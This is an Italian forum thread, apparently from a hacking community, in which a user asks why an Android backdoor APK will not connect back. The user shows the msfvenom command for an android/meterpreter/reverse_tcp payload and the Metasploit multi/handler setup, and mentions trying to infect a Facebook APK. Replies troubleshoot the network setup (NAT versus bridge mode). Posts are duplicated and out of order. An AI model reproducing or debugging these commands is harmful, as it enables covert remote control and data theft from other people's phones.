No, ma probabilmente hai la macchina virtuale sotto NAT e non direttamente collegata al router. Ciò vuol dire che il cellulare collegato direttamente al router avrà un indirizzo del tipo 192.168.x.x mentre la tua macchina virtuale sembra avere 10.0.2.15, quindi sembra essere su un'altra rete
Discussione Malware problemi con MainActivity APK Payload..
- Autore discussione Domoho
- Data d'inizio
Se la macchina è in NAT devi cambiare le impostazioni della VM e metterla in bridge
buongiorno, è da almeno 2 giorni che sto provando a creare una backdoor sottoforma di apk, anzi, in realtà ci son riuscito a crearla, e anche a spostarla sul telefono..il problema è che quando avvio l'exploit, anche se apro l'app dal telefono, non succede nulla..ora vi lascio i comandi qui sotto (kali linux 2020.4)
------------------------
per creare il payload:
---
---
una volta spostato dal pc al telefono installo l'apk, è un main activity, nel frattempo mi connetto su metasploit con questi comandi:
---
----
dopodichè apro l'apk infettato da telefono, ma indovinate? non succede assolutamente nulla, nessuna animazione che si apre, nessun segnale su metasploit, ora non so se il problema è il mio telefono con antivirus, o la backdoor e la connessione ad essa..
inoltre ho provato anche ad infettare un apk normalissimo di facebook con una backdoor creata, il risultato in questione era sbarrato con una "X", non potevo ne drag n dropparlo sul desktop, nè spostarlo su kali linux stesso..
qualcuno mi aiuti D:
------------------------
per creare il payload:
---
Codice:
msfvenom -p android/meterpreter/reverse_tcp LHOST=(ip locale) LPORT=4444 R> /var/www/html/provabackdoor.apkuna volta spostato dal pc al telefono installo l'apk, è un main activity, nel frattempo mi connetto su metasploit con questi comandi:
---
Codice:
msfconsole
msf> use multi/handler
msf> set payload android/meterpreter/reverse_tcp
msf>set LHOST (ip locale)
msf> set LPORT 4444
msf> exploit
[*] Started reverse TCP handler on 10.0.2.15:4444dopodichè apro l'apk infettato da telefono, ma indovinate? non succede assolutamente nulla, nessuna animazione che si apre, nessun segnale su metasploit, ora non so se il problema è il mio telefono con antivirus, o la backdoor e la connessione ad essa..
inoltre ho provato anche ad infettare un apk normalissimo di facebook con una backdoor creata, il risultato in questione era sbarrato con una "X", non potevo ne drag n dropparlo sul desktop, nè spostarlo su kali linux stesso..
qualcuno mi aiuti D:
scusa, ti puoi spiegare meglio? per avere un ip locale valido bisogna farlo a mano dal router? come D;
inizialmente avevo messo un proxy su kali, ho provato a riavviare la scheda di rete e a fare
Codice:
service network restart
Messaggio unito automaticamente:
era un apk di facebook già esistente, però non potevo eseguirlo o spostarlo dalla sua cartella
scusate ho un problema con metasploit
vi spiego: creo il payload corretto per android, lo condivido con telefono android lo scarico abilito tutto ma non si apre e non si collega con metasploit. l'ip che ho usato è quello trovato con ifconfig
vi spiego: creo il payload corretto per android, lo condivido con telefono android lo scarico abilito tutto ma non si apre e non si collega con metasploit. l'ip che ho usato è quello trovato con ifconfig